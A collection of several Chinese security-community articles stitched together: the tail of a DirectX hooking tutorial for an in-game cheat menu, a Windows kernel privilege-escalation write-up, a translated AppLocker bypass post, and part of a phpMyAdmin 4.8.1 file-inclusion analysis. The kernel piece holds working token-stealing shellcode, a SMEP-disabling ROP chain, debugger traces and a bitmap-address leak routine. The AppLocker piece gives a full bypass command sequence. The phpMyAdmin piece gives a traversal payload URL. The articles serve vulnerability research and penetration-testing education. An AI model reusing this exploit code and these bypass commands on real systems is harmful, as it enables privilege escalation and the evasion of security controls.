if (MH_CreateHook(this->pEndSceneAddress, &EndScene_Hooked, (LPVOID*)&pEndscene) != MH_OK
|| MH_EnableHook(this->pEndSceneAddress) != MH_OK)
{
std::cout << "failed create hook EndScene\n";
return;
}
if (MH_CreateHook(this->pResetAddress, &Reset_Hooked, (LPVOID*)&pReset) != MH_OK
|| MH_EnableHook(this->pResetAddress) != MH_OK)
{
std::cout << "failed create hook Reset\n";
return;
}
}
LRESULT ImGui_ImplWin32_WndProcHandler(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
LRESULT CALLBACK WndProc_Hooked(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
static auto once = []()
{
std::cout << __FUNCTION__ << " first called!" << std::endl;
return true;
}();
//如果按下INS键，就打开或关闭外挂设置界面，如果之前是关闭的就打开，如果是打开的就关闭。
if (uMsg == WM_KEYDOWN && wParam == VK_INSERT)
{
vars::bMenuOpen = !vars::bMenuOpen;
return FALSE;
}
//如果设置界面是打开状态，则调用ImGui的消息处理
if (vars::bMenuOpen && ImGui_ImplWin32_WndProcHandler(hwnd, uMsg, wParam, lParam))
{
return TRUE;
}
//调用原窗口处理消息的函数来处理其他消息，https://blog.csdn.net/wangpengk7788/article/details/55053053
return CallWindowProc(m_pHook->pWndProc, hwnd, uMsg, wParam, lParam);
}
void CHook::SetupWndProcHook()
{
this->pWndProc = (WNDPROC)SetWindowLongPtr(globals::hGame, GWLP_WNDPROC, (LONG_PTR)WndProc_Hooked);
}
最终效果如下。
## 结语
实际上关于DirectX
还有很多有意思的地方，比如说经典的WalkHack，通过钩取函数，实现获取人物模型编号，以及修改Z轴深度缓存来达到想要的目的。还有对于imgui，也是有很多可以学习的地方，对比古老的Mfc窗口，或者自定义窗口，imgui的窗口简单而美观，并且实现起来也很方便。 | 社区文章 |
# 0x00：Windows 8.1 x64的一个坑
首先我们回顾一下我们在[上篇](https://xz.aliyun.com/t/5890)的利用中可能存在的一个坑
**Shellcode的构造**
上篇我只是简单提了一下内核中构造放置我们的shellcode，如果你看了我的源码，里面的构造函数如下所示：
VOID ConstrutShellcode()
{
printf("[+]Start to construt Shellcode\n");
VOID* shellAddr = (void*)0x100000;
shellAddr = VirtualAlloc(shellAddr, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memset(shellAddr, 0x41, 0x1000);
CopyMemory((VOID*)0x100300, ShellCode, 0x200);
//__debugbreak();
UINT64* recoverAddr = (UINT64*)((PBYTE)(0x100300) + 0x44);
*(recoverAddr) = (DWORD64)ntoskrnlbase() + 0x4c8f75; // nt!KeQueryIntervalProfile+0x25
}
你可能会疑惑`recoverAddr`这个东西是拿来做什么用的，先不要着急我们在看看我们shellcode的实现：
.code
ShellCode proc
; shellcode编写
mov rax, gs:[188h]
mov rax, [rax+220h]
mov rcx, rax
mov rdx, 4
findSystemPid:
mov rax, [rax+2e8h]
sub rax, 2e8h
cmp [rax+2e0h], rdx
jnz findSystemPid
mov rdx, [rax+348h]
mov [rcx+348h], rdx
sub rsp,30h ;堆栈平衡
mov rax, 0aaaaaaaaaaaaaaaah ;这个位置放进入Gadgets返回后的后半部分函数
mov [rsp], rax
ret
ShellCode endp
end
从上面可以看到，我在最后的地方用了几句汇编将堆栈平衡了，这其实是我调试了很久才得到的结果，我简单提一下这个过程，首先我们知道我们把shellcode放置在了0x100300的位置，我们还知道我们需要执行我们的ROP，所以我们需要在windbg中下两个硬件断点观察，注意shellcode中不能用int
3下软件断点，这样会修改堆栈的平衡导致一些问题
1: kd> u nt!KiConfigureDynamicProcessor+0x40
nt!KiConfigureDynamicProcessor+0x40:
fffff803`20ffe7cc 0f22e0 mov cr4,rax
fffff803`20ffe7cf 4883c428 add rsp,28h
fffff803`20ffe7d3 c3 ret
...
1: kd> ba e1 fffff803`20ffe7cc
1: kd> u 100300
00000000`00100300 65488b042588010000 mov rax,qword ptr gs:[188h]
00000000`00100309 488b8020020000 mov rax,qword ptr [rax+220h]
00000000`00100310 488bc8 mov rcx,rax
...
1: kd> ba e1 00000000`00100300
我们g运行到第一个断点，t单步到ret处，查看堆栈结构和我们现在rc4寄存器的值，可以发现我们的寄存器已经被修改
1: kd> g
Breakpoint 0 hit
nt!KiConfigureDynamicProcessor+0x40:
fffff803`20ffe7cc 0f22e0 mov cr4,rax
1: kd> t
nt!KiConfigureDynamicProcessor+0x43:
fffff803`20ffe7cf 4883c428 add rsp,28h
1: kd> t
nt!KiConfigureDynamicProcessor+0x47:
fffff803`20ffe7d3 c3 ret
1: kd> dqs rsp
ffffd000`27acf9a0 00000000`00100300
ffffd000`27acf9a8 00000000`00000000
ffffd000`27acf9b0 00000000`00000000
ffffd000`27acf9b8 00000000`00000000
ffffd000`27acf9c0 00000000`00000000
ffffd000`27acf9c8 fffff803`2114ff36 nt!NtQueryIntervalProfile+0x3e
ffffd000`27acf9d0 00000000`00000000
ffffd000`27acf9d8 00000000`00000000
ffffd000`27acf9e0 00000000`00000000
ffffd000`27acf9e8 00000000`00000000
ffffd000`27acf9f0 00000000`00000000
ffffd000`27acf9f8 fffff803`20de28b3 nt!KiSystemServiceCopyEnd+0x13
ffffd000`27acfa00 ffffe000`01b9a4c0
ffffd000`27acfa08 00007ffe`00000008
ffffd000`27acfa10 ffffffff`fff85ee0
ffffd000`27acfa18 ffffd000`00000008
1: kd> r cr4
cr4=00000000000406f8
我们t单步再次观察堆栈，这里已经开始执行我们的shellcode了
1: kd> t
00000000`00100300 65488b042588010000 mov rax,qword ptr gs:[188h]
1: kd> dqs rsp
ffffd000`27acf9a8 00000000`00000000
ffffd000`27acf9b0 00000000`00000000
ffffd000`27acf9b8 00000000`00000000
ffffd000`27acf9c0 00000000`00000000
ffffd000`27acf9c8 fffff803`2114ff36 nt!NtQueryIntervalProfile+0x3e
ffffd000`27acf9d0 00000000`00000000
ffffd000`27acf9d8 00000000`00000000
ffffd000`27acf9e0 00000000`00000000
ffffd000`27acf9e8 00000000`00000000
ffffd000`27acf9f0 00000000`00000000
ffffd000`27acf9f8 fffff803`20de28b3 nt!KiSystemServiceCopyEnd+0x13
ffffd000`27acfa00 ffffe000`01b9a4c0
ffffd000`27acfa08 00007ffe`00000008
ffffd000`27acfa10 ffffffff`fff85ee0
ffffd000`27acfa18 ffffd000`00000008
ffffd000`27acfa20 000000bf`00000000
我们继续单步运行到shellcode中`sub
rsp,30h`的位置，查看堆栈之后继续单步，我们可以看到rsp中内容被修改为了0x010033e，而0x010033e中存放的内容正是我们`nt!KeQueryIntervalProfile+0x25`中的值
1: kd> t
00000000`0010033e 4883ec30 sub rsp,30h
1: kd> dqs rsp
ffffd000`27acf9a8 00000000`00000000
ffffd000`27acf9b0 00000000`00000000
ffffd000`27acf9b8 00000000`00000000
ffffd000`27acf9c0 00000000`00000000
ffffd000`27acf9c8 fffff803`2114ff36 nt!NtQueryIntervalProfile+0x3e
ffffd000`27acf9d0 00000000`00000000
ffffd000`27acf9d8 00000000`00000000
ffffd000`27acf9e0 00000000`00000000
ffffd000`27acf9e8 00000000`00000000
ffffd000`27acf9f0 00000000`00000000
ffffd000`27acf9f8 fffff803`20de28b3 nt!KiSystemServiceCopyEnd+0x13
ffffd000`27acfa00 ffffe000`01b9a4c0
ffffd000`27acfa08 00007ffe`00000008
ffffd000`27acfa10 ffffffff`fff85ee0
ffffd000`27acfa18 ffffd000`00000008
ffffd000`27acfa20 000000bf`00000000
1: kd> t
00000000`00100342 48b875ff142103f8ffff mov rax,offset nt!KeQueryIntervalProfile+0x25 (fffff803`2114ff75)
1: kd> dqs rsp
ffffd000`27acf978 00000000`0010033e
ffffd000`27acf980 00000000`00000010
ffffd000`27acf988 00000000`00000344
ffffd000`27acf990 ffffd000`27acf9a8
ffffd000`27acf998 00000000`00000018
ffffd000`27acf9a0 00000000`00100300
ffffd000`27acf9a8 00000000`00000000
ffffd000`27acf9b0 00000000`00000000
ffffd000`27acf9b8 00000000`00000000
ffffd000`27acf9c0 00000000`00000000
ffffd000`27acf9c8 fffff803`2114ff36 nt!NtQueryIntervalProfile+0x3e
ffffd000`27acf9d0 00000000`00000000
ffffd000`27acf9d8 00000000`00000000
ffffd000`27acf9e0 00000000`00000000
ffffd000`27acf9e8 00000000`00000000
ffffd000`27acf9f0 00000000`00000000
1: kd> u 00000000`0010033e
00000000`0010033e 4883ec30 sub rsp,30h
00000000`00100342 48b875ff142103f8ffff mov rax,offset nt!KeQueryIntervalProfile+0x25 (fffff803`2114ff75)
00000000`0010034c 48890424 mov qword ptr [rsp],rax
00000000`00100350 c3 ret
00000000`00100351 cc int 3
00000000`00100352 cc int 3
00000000`00100353 cc int 3
00000000`00100354 cc int 3
`nt!KeQueryIntervalProfile+0x25`是哪里呢，这个值刚好是我们Hook位置的下一句汇编，我们将其放回原位即可做到原封不动的还原内核函数，这样就可以完美的提权而不蓝屏
0: kd> u nt!KeQueryIntervalProfile
nt!KeQueryIntervalProfile:
fffff803`2114ff50 4883ec48 sub rsp,48h
fffff803`2114ff54 83f901 cmp ecx,1
fffff803`2114ff57 7430 je nt!KeQueryIntervalProfile+0x39 (fffff803`2114ff89)
fffff803`2114ff59 ba18000000 mov edx,18h
fffff803`2114ff5e 894c2420 mov dword ptr [rsp+20h],ecx
fffff803`2114ff62 4c8d4c2450 lea r9,[rsp+50h]
fffff803`2114ff67 8d4ae9 lea ecx,[rdx-17h]
fffff803`2114ff6a 4c8d442420 lea r8,[rsp+20h]
0: kd> u
nt!KeQueryIntervalProfile+0x1f:
fffff803`2114ff6f ff15f377ddff call qword ptr [nt!HalDispatchTable+0x8 (fffff803`20f27768)]
fffff803`2114ff75 85c0 test eax,eax // nt!KeQueryIntervalProfile+0x25
fffff803`2114ff77 7818 js nt!KeQueryIntervalProfile+0x41 (fffff803`2114ff91)
fffff803`2114ff79 807c242400 cmp byte ptr [rsp+24h],0
fffff803`2114ff7e 7411 je nt!KeQueryIntervalProfile+0x41 (fffff803`2114ff91)
fffff803`2114ff80 8b442428 mov eax,dword ptr [rsp+28h]
fffff803`2114ff84 4883c448 add rsp,48h
fffff803`2114ff88 c3 ret
# 0x02：Windows 10 1511-1607 x64下的利用
好了我们整理完了win
8.1下的一些坑我们开始我们在win10中的利用，win8.1中最浪费时间的操作便是堆栈的平衡问题，那我们可不可以有更简单的方法提权呢？当然有的，我们都有任意读写的权限了不是吗，既然有任意读写的权限，那么我们完全可以用任意读写的操作实现对token的替换，我们甚至不用我们的shellcode都可以提权，这种做法非常的简便，并不需要考虑shellcode在内核中运行遇到的堆栈平衡问题，我们的关键点始终还是在泄露pvScan0的地方，我们在win
10 1607和win 10 1511中观察一下我们创建的Bitmap结构，和win 8.1进行比较，构造如下代码片段
int main()
{
HBITMAP hBitmap = CreateBitmap(0x10, 2, 1, 8, NULL);
__debugbreak();
return 0;
}
**Win 8.1 x64**
0: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb
+0x0f8 GdiSharedHandleTable : 0x000000c4`d0540000
0: kd> ? rax&ffff
Evaluate expression: 1984 = 00000000`000007c0
0: kd> dq 0x000000c4`d0540000+0x18*7c0
000000c4`d054ba00 fffff901`40701010 40053105`00000c3c
000000c4`d054ba10 00000000`00000000 fffff901`43c5d010
000000c4`d054ba20 40012201`00000c3c 000000c4`d0170b60
000000c4`d054ba30 fffff901`446c4190 41051405`00000000
000000c4`d054ba40 00000000`00000000 fffff901`400d6ab0
000000c4`d054ba50 40084308`00000000 00000000`00000000
000000c4`d054ba60 00000000`00000776 44003501`00000000
000000c4`d054ba70 00000000`00000000 fffff901`407e6010
0: kd> dq fffff901`40701010
fffff901`40701010 00000000`310507c0 80000000`00000000
fffff901`40701020 00000000`00000000 00000000`00000000
fffff901`40701030 00000000`310507c0 00000000`00000000
fffff901`40701040 00000000`00000000 00000002`00000010
fffff901`40701050 00000000`00000020 fffff901`40701268
fffff901`40701060 fffff901`40701268 00002472`00000010
fffff901`40701070 00010000`00000003 00000000`00000000
fffff901`40701080 00000000`04800200 00000000`00000000
**Win 10 1511 x64**
0: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb
+0x0f8 GdiSharedHandleTable : 0x00000216`aa740000
0: kd> ? rax&ffff
Evaluate expression: 2711 = 00000000`00000a97
0: kd> dq 0x00000216`aa740000+0x18*a97
00000216`aa74fe28 fffff901`4222aca0 4005e605`00000dec
00000216`aa74fe38 00000000`00000000 00000000`00000936
00000216`aa74fe48 40004205`00000000 00000000`00000000
00000216`aa74fe58 00000000`00000a98 40004105`00000000
00000216`aa74fe68 00000000`00000000 fffff901`441e4380
00000216`aa74fe78 40102310`000006c8 000001fc`d4640fc0
00000216`aa74fe88 00000000`00000abf 40008404`00000000
00000216`aa74fe98 00000000`00000000 fffff901`406d94d0
0: kd> dq fffff901`4222aca0
fffff901`4222aca0 ffffffff`e6050a97 80000000`00000000
fffff901`4222acb0 00000000`00000000 00000000`00000000
fffff901`4222acc0 ffffffff`e6050a97 00000000`00000000
fffff901`4222acd0 00000000`00000000 00000002`00000010
fffff901`4222ace0 00000000`00000020 fffff901`4222aef8
fffff901`4222acf0 fffff901`4222aef8 00008999`00000010
fffff901`4222ad00 00010000`00000003 00000000`00000000
fffff901`4222ad10 00000000`04800200 00000000`00000000
**Win 10 1607 x64**
3: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb
+0x0f8 GdiSharedHandleTable : 0x0000023e`1a210000
3: kd> ? rax&ffff
Evaluate expression: 3111 = 00000000`00000c27
3: kd> dq 0x0000023e`1a210000+0x18*c27
0000023e`1a2223a8 ffffffff`ff540c27 00055405`00001a20
0000023e`1a2223b8 00000000`00000000 00000000`00000b3e
0000023e`1a2223c8 0000600a`00000001 00000000`00000000
0000023e`1a2223d8 00000000`00000a90 00004104`00000001
0000023e`1a2223e8 00000000`00000000 00000000`00000aea
0000023e`1a2223f8 00003505`00000001 00000000`00000000
0000023e`1a222408 ffffffff`ff810c2b 00018101`00000918
0000023e`1a222418 0000019d`678a0820 00000000`00000acc
3: kd> dq ffffffff`ff540c27
ffffffff`ff540c27 ????????`???????? ????????`????????
ffffffff`ff540c37 ????????`???????? ????????`????????
ffffffff`ff540c47 ????????`???????? ????????`????????
ffffffff`ff540c57 ????????`???????? ????????`????????
ffffffff`ff540c67 ????????`???????? ????????`????????
ffffffff`ff540c77 ????????`???????? ????????`????????
ffffffff`ff540c87 ????????`???????? ????????`????????
ffffffff`ff540c97 ????????`???????? ????????`????????
实验中很明显的发现win 10
1607中我们的`GdiShreadHanldleTable`已经不是一个指针了，我们来看看有什么升级，图片中说明了已经不能够公开这个句柄表的地址了,那是不是就没办法了呢?
当然不是!我们总能够通过各种方法来泄露我们的 PrvScan0 ，这里就需要引入另外一个比较神奇的结构`gSharedInfo`
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PUSER_HANDLE_ENTRY aheList;
ULONG HeEntrySize;
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelts;
ULONG_PTR awmControl;
ULONG_PTR DefWindowMsgs;
ULONG_PTR DefWindowSpecMsgs;
} SHAREDINFO, * PSHAREDINFO;
其中的 `aheList` 结构如下，里面就保存了一个 pKernel 的指针，指向这个句柄的内核地址
typedef struct _USER_HANDLE_ENTRY {
void* pKernel;
union
{
PVOID pi;
PVOID pti;
PVOID ppi;
};
BYTE type;
BYTE flags;
WORD generation;
} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;
先不管三七二十一，我们先泄露这个东西，再看看和我们的 Bitmap 有什么联系，关键代码如下
LPACCEL lPaccel = NULL;
PUSER_HANDLE_ENTRY leakaddr = NULL;
HMODULE huser32 = NULL;
HACCEL hAccel = NULL;
int nSize = 700;
lPaccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * nSize);
PSHAREDINFO pfindSharedInfo = (PSHAREDINFO)GetProcAddress(
GetModuleHandleW(L"user32.dll"),
"gSharedInfo");
PUSER_HANDLE_ENTRY handleTable = pfindSharedInfo->aheList;
for (int i = 0; i < 0x3; i++)
{
hAccel = CreateAcceleratorTable(lPaccel, nSize);
leakaddr = &handleTable[LOWORD(hAccel)];
DWORD64 addr = (DWORD64)(leakaddr->pKernel);
printf("[+]leak address : 0x%p", leakaddr->pKernel);
DestroyAcceleratorTable(hAccel);
if(i = 3)
{
CreateBitmap(0x710, 0x2, 0x1, 0x8, NULL);
}
}
运行一下查看结果，确实泄露了什么东西出来
解读一下上面的代码，我们首先创建了一块内存，其中的nSize选择了700的大小，因为后面我们使用`CreateBitmap`创建的对象传入的第一个参数是0x710，关于`CreateBitmap`中第一个参数`width`对生成对象的影响我就不过多阐述了，实验加上[官方文档](https://docs.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createbitmap)可以给我们解释，然后我们获取了 user32.dll
中的 gSharedInfo 对象，我们在一个循环里使用 CreateAcceleratorTable 和 DestroyAcceleratorTable
不断创建释放了 hAccel 结构，其中计算的过程和我们泄露bitmap地址的过程类似，这里就会产生一个疑问，这个泄露的东西为什么和我们的 Bitmap
一样呢，要知道我们每次创建释放hAccel时候地址是固定的(你可以多打印几次进行实验)，并且这个对象也是分配在会话池(sesssion
pool)，大小又相等，池类型又相同，如果我们申请了一块然后释放了，再用bitmap申请岂不是就可以申请到我们想要的地方，泄露的地址也就是bitmap的地址了，我们这里为了使得到的地址固定，堆喷射后使用了一个判断语句判断是否得到了稳定的地址，得到之后我们再加上相应的偏移也就是我们的
PrvScan0 了，于是我们构造如下代码片段
LeakBitmapInfo GetBitmap()
{
UINT loadCount = 0;
HACCEL hAccel = NULL;
LPACCEL lPaccel = NULL;
PUSER_HANDLE_ENTRY firstEntryAddr = NULL;
PUSER_HANDLE_ENTRY secondEntryAddr = NULL;
int nSize = 700;
int handleIndex = 0;
PUCHAR firstAccelKernelAddr;
PUCHAR secondAccelKernelAddr;
PSHAREDINFO pfindSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandle(L"user32.dll"), "gSharedInfo"); // 获取gSharedInfo表
PUSER_HANDLE_ENTRY gHandleTable = pfindSharedInfo->aheList;
LeakBitmapInfo retBitmap;
lPaccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * nSize);
while (loadCount < 20)
{
hAccel = CreateAcceleratorTable(lPaccel, nSize);
handleIndex = LOWORD(hAccel);
firstEntryAddr = &gHandleTable[handleIndex];
firstAccelKernelAddr = (PUCHAR)firstEntryAddr->pKernel;
DestroyAcceleratorTable(hAccel);
hAccel = CreateAcceleratorTable(lPaccel, nSize);
handleIndex = LOWORD(hAccel);
secondEntryAddr = &gHandleTable[handleIndex];
secondAccelKernelAddr = (PUCHAR)firstEntryAddr->pKernel;
if (firstAccelKernelAddr == secondAccelKernelAddr)
{
DestroyAcceleratorTable(hAccel);
LPVOID lpBuf = VirtualAlloc(NULL, 0x50 * 2 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
retBitmap.hBitmap = CreateBitmap(0x701, 2, 1, 8, lpBuf);
break;
}
DestroyAcceleratorTable(hAccel);
loadCount++;
}
retBitmap.pBitmapPvScan0 = firstAccelKernelAddr + 0x50;
printf("[+]bitmap handle is: 0x%08x \n", (ULONG)retBitmap.hBitmap);
printf("[+]bitmap pvScan0 at: 0x%p \n\n", retBitmap.pBitmapPvScan0);
return retBitmap;
}
泄露了之后就好办了，也就是只需要替换一个token就行了，我这里用的是read和write函数不断的进行汇编shellcode的模仿，在ring3层实现了对token的替换，这样我们就可以不加入我们的shellcode从而提权，而这种方法也不需要考虑堆栈平衡，非常的方便，其中获取系统的一些信息的时候使用了`NtQuerySystemInformation`这个函数，通过它可以给我们提供很多的系统信息，具体的可以参阅[官方文档](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation)
__kernel_entry NTSTATUS NtQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);
最后整合一下思路：
* 初始化句柄等结构
* 通过`gSharedInfo`对象来泄露我们的Bitmap地址
* 调用`TriggerArbitraryOverwrite`函数将一个pvScan0指向另一个pvScan0
* 通过不断的read和write，模拟token的替换，从而提权
最后整合一下代码即可实现利用，整体代码和验证结果参考 => [这里](https://github.com/ThunderJie/Write-What-Where)
# 0x03：Windows 10 后续版本的猜想
## RS2
RS2版本中貌似将我们的 pkernel 指针给移除了，也就是说我们不能再通过 gSharedInfo
结构来泄露我们的内核地址了，不过有前辈们用`tagCLS`对象及`lpszMenuName`对象泄露了内核地址，能够泄露的话其实其他地方都好办了，泄露的方法我这里简单提一下，首先我们需要找到`HMValidateHandle`函数的地址，这个函数我们只需要传入一个窗口句柄，他就会返回在桌面堆中的`tagWND`对象指针，而通过这个指针我们就可以泄露出内核地址，这个函数地址我们可以通过`IsMenu`这个用户态函数获取到，我们来看一下函数的内容，可以看到
call 之后会调用到`HMValidateHandle`这个函数，那么我们只需要通过硬编码计算，获取 e8(call) 之后的几个字节地址就行了
kd> u user32!IsMenu
USER32!IsMenu:
00007fff`17d489e0 4883ec28 sub rsp,28h
00007fff`17d489e4 b202 mov dl,2
00007fff`17d489e6 e805380000 call USER32!HMValidateHandle (00007fff`17d4c1f0)
00007fff`17d489eb 33c9 xor ecx,ecx
00007fff`17d489ed 4885c0 test rax,rax
00007fff`17d489f0 0f95c1 setne cl
00007fff`17d489f3 8bc1 mov eax,ecx
00007fff`17d489f5 4883c428 add rsp,28h
获取到`HMValidateHandle`函数之后我们只需要再进行一系列的计算获取`lpszMenuName`对象的地址，我们可以依据下图 Morten
所说的计算过程计算出`Client delta`
获取到了之后我们只需要和前面一样进行堆喷加上判断就能够泄露出Bitmap的地址，还需要注意的是偏移的问题，需要简要修改，下面是1703的一些偏移
2: kd> dt nt!_EPROCESS uniqueprocessid token activeprocesslinks
+0x2e0 UniqueProcessId : Ptr64 Void
+0x2e8 ActiveProcessLinks : _LIST_ENTRY
+0x358 Token : _EX_FAST_REF
## RS3
RS3版本中 PvScan0 已经放进了堆中，既然是堆的话，又让人想到了堆喷射控制内核池，总之可以尝试一下这种方法
但是前辈们总有奇特的想法，又找到了另外一个对象 platte ，它类似与 bitmap 结构，可以用 `CreatePalette` 函数创建，结构如下
任意读写的方法只是改为了`GetPaletteEntries`和`SetPaletteEntries`，以后可以尝试一下这个思路
# 0x03：后记
利用里面，win8.1的坑比较多，和win7比起来差距有点大，需要细心调试，更往后的版本主要是参阅外国的文献，以后有时间再来实践
参考资料：
[+] 参阅过的pdf：<https://github.com/ThunderJie/Study_pdf>
[+] RS2上的利用分析：<https://www.anquanke.com/post/id/168441#h2-3>
[+] RS3上 platte 对象的利用分析：<https://www.anquanke.com/post/id/168572> | 社区文章 |
原文：<https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/>
**概述**
* * *
从上周开始，我就着手在Windows操作系统中寻找可能对未来的渗透测试和红队作战有用的脚本和二进制文件。因为随着客户端在安全性能、安全意识和监控技术（例如AppLocker、Device
Guard、AMSI、Powershell
ScriptBlock日志记录、PowerShell约束语言模式、用户模式代码完整性、HIDS/防病毒，SOC等）方面日益提高，寻找欺骗、规避和/或绕过安全解决方案的方法已成为道德黑客工作中的重要一环。
在这个过程中，我发现了一个有趣的目录结构，其中包含一些诊断脚本。准确来说，这些脚本位于如下所示的“父”路径中：
%systemroot%\diagnostics\system\
需要特别说明的是，其中\AERO和\Audio这两个子目录中含有两个非常有趣的PowerShell脚本（带有安全签名）：
* CL_Invocation.ps1
* CL_LoadAssembly.ps1
其中，CL_Invocation.ps1提供了一个SyncInvoke函数，可以通过System.Diagnostics.Process执行二进制文件；而CL_LoadAssembly.ps1提供了两个用于加载.NET
/C＃程序集（DLL/EXE）的函数，分别是LoadAssemblyFromNS和LoadAssemblyFromPath函数。
**深入考察CL_Invocation.ps1**
* * *
在研究这个脚本的过程中，发现它执行命令的方法常简单，如下图所示：
如上所示，这里只是导入模块并使用了SyncInvoke函数，接下来就可以像下面这样执行命令了：
. CL_Invocation.ps1 (or import-module CL_Invocation.ps1)
SyncInvoke <command> <arg...>
然而，进一步的研究表明，这项技术无法帮助我们在随后的渗透测试过程中绕过任何保护措施。这是因为，PowerShell提供的约束语言模式（在PSv5中）会阻止PowerShell代码/脚本的执行，并且[默认的AppLocker策略](https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
"默认的AppLocker策略")也会阻止在非特权帐户的上下文中执行未签名的二进制文件。尽管如此，CL_Invocation.ps1在可信赖的执行链中还是有些价值的，并且如果与其他技术结合的话，则可以避开某些防御措施。
**非常感谢@Oddvarmoe和@xenosCR在CL_Invocation方面提供的帮助和分析
**深入考察CL_LoadAssembly.ps1**
* * *
在研究CL_LoadAssembly时，我通过@netbiosX发现了一篇非常有趣的文章（[Applocker Bypass-Assembly
Load](https://pentestlab.blog/tag/assembly-load/ "Applocker Bypass-Assembly
Load")），详细介绍了Casey Smith（@subTee）在SchmooCon
2015演讲期间提供的研究结果。他成功地发现了一种绕过AppLocker的方法：通过URL、文件位置和字节码在PowerShell中加载程序集。另外，@subTee在几年前的[Tweet](https://twitter.com/subTee/status/651159182440173568
"Tweet")中也提到了绕过CL_LoadAssembly的方法：
为了测试这种方法，我编译了一个非常简单的C＃（Target Framework：.NET
2.0）程序（程序集），并将其命名为funrun.exe，如果执行成功的话，它就会通过proc.start()函数来运行calc.exe：
在启用默认AppLocker规则的Windows
2016计算机上的非特权用户上下文中，用户可以直接运行funrun.exe。但是，当在cmd行和PowerShell（v5）中尝试运行这个程序时，会被系统中的安全策略所阻止，具体如下图所示：
在PowerShell版本2环境下运行时，funrun.exe也会被安全策略阻止：
使用CL_LoadAssembly时，用户可以通过路径遍历调用funrun.exe来成功加载该程序集。但是，约束语言模式却会阻止用户在PowerShell（v5）中调用该方法，具体如下图所示：
为了绕过约束语言模式，用户可以调用PowerShell v2，然后通过路径遍历调用funrun.exe来成功加载该程序集：
这样，用户就可以调用funrun程序集方法并运行calc.exe了：
运行成功！这表明，作为非特权用户，我们可以通过调用PowerShell版本2（注意：必须已经启用），然后利用CL_LoadAssembly.ps1加载程序集来绕过AppLocker，从而绕过约束语言模式。为了完整起见，这里给出相应的命令序列：
powershell -v 2 -ep bypass
cd C:\windows\diagnostics\system\AERO
import-module .\CL_LoadAssembly.ps1
LoadAssemblyFromPath ..\..\..\..\temp\funrun.exe
[funrun.hashtag]::winning()
**绕过AppLocker的其他方法**
* * *
如果读者希望了解更多绕过AppLocker相关信息的话，我强烈建议大家阅读由Oddvar Moe（@Oddvarmoe）创建和维护的[Ultimate
AppLocker Bypass
List](https://github.com/api0cradle/UltimateAppLockerByPassList "Ultimate
AppLocker Bypass List")。而且，这些资源在编写这篇文章时帮助极大：
AppLocker Bypass-Assembly Load——https://pentestlab.blog/tag/assembly-load/
C# to Windows Meterpreter in 10 min – https://holdmybeersecurity.com/2016/09/11/c-to-windows-meterpreter-in-10mins/
**小结**
* * *
本文中，我们为读者介绍了一种利用PowerShell诊断脚本执行命令并绕过AppLocke的方法，可供大家在渗透测试过程中借鉴使用。如果您有疑问/评论，欢迎随时与我联系或留言。祝阅读愉快！ | 社区文章 |
# 前言
周末分析了两处旧版本中 `phpMyAdmin` 的文件包含漏洞，分享一下。
# 4.8.1 文件包含漏洞
## 漏洞分析
我们先来看看 `payload`：
>
> payload:index.php?target=db_sql.php%253F/../../../../../../../../../../../../a.txt
我们可以看到是 `index.php` 的 `target` 参数，在 `index.php` 的 `55` 行左右，我们可以看到这堆代码：
$target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
这里就有我们的参数 `target`，有五个条件，我们一个一个分析：
1. `target` 不能为空
2. `target` 是字符串类型
3. `target` 不能以 `index` 开头
4. `target` 不能是 `$target_blacklist` 里的值
5. 将 `target` 传入 `Core::checkPageValidity`，返回 `true` 则包含文件
可以发现前四条是很容易过的，我们跟进最后一个函数 `checkPageValidity` 看看，这个函数的代码不长，完整的函数：
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
...
);
public static function checkPageValidity(&$page, array $whitelist = [])
{
// 判断 $whitelist 是否为空，如果为空则取默认的一组
if (empty($whitelist)) { // 当从 index.php 传进来时会进入这里
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
// 判断 $page 是否在白名单
if (in_array($page, $whitelist)) {
return true;
}
// 分割 $page 的参数，取 ? 前的文件名，判断是否在白名单内
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
// url 解码后执行和上一步相同的操作
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
有三种返回 `true` 的方式，我们可以尝试构造一下 `payload`，
举个例子，比如我们想包含 `a.txt`：
1. 当我们的 `$page` 是 `a.txt` 时，因为不在白名单内，`page` 中又没有参数（问号），所以会一直执行到最后，默认返回 `false`
2. 白名单中第一项为 `db_datadict.php`，拿这个举例，我们传入 `db_datadict.php?/../a.txt`，因为还是不在白名单内，会执行到这里：
<?php
$page = "db_datadict.php?/../a.txt";
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
var_dump($_page);
我们可以执行看看：
这样是可以的，返回 `True` 后带入 `include`，但是 `include` 似乎是不允许文件名带有问号的：
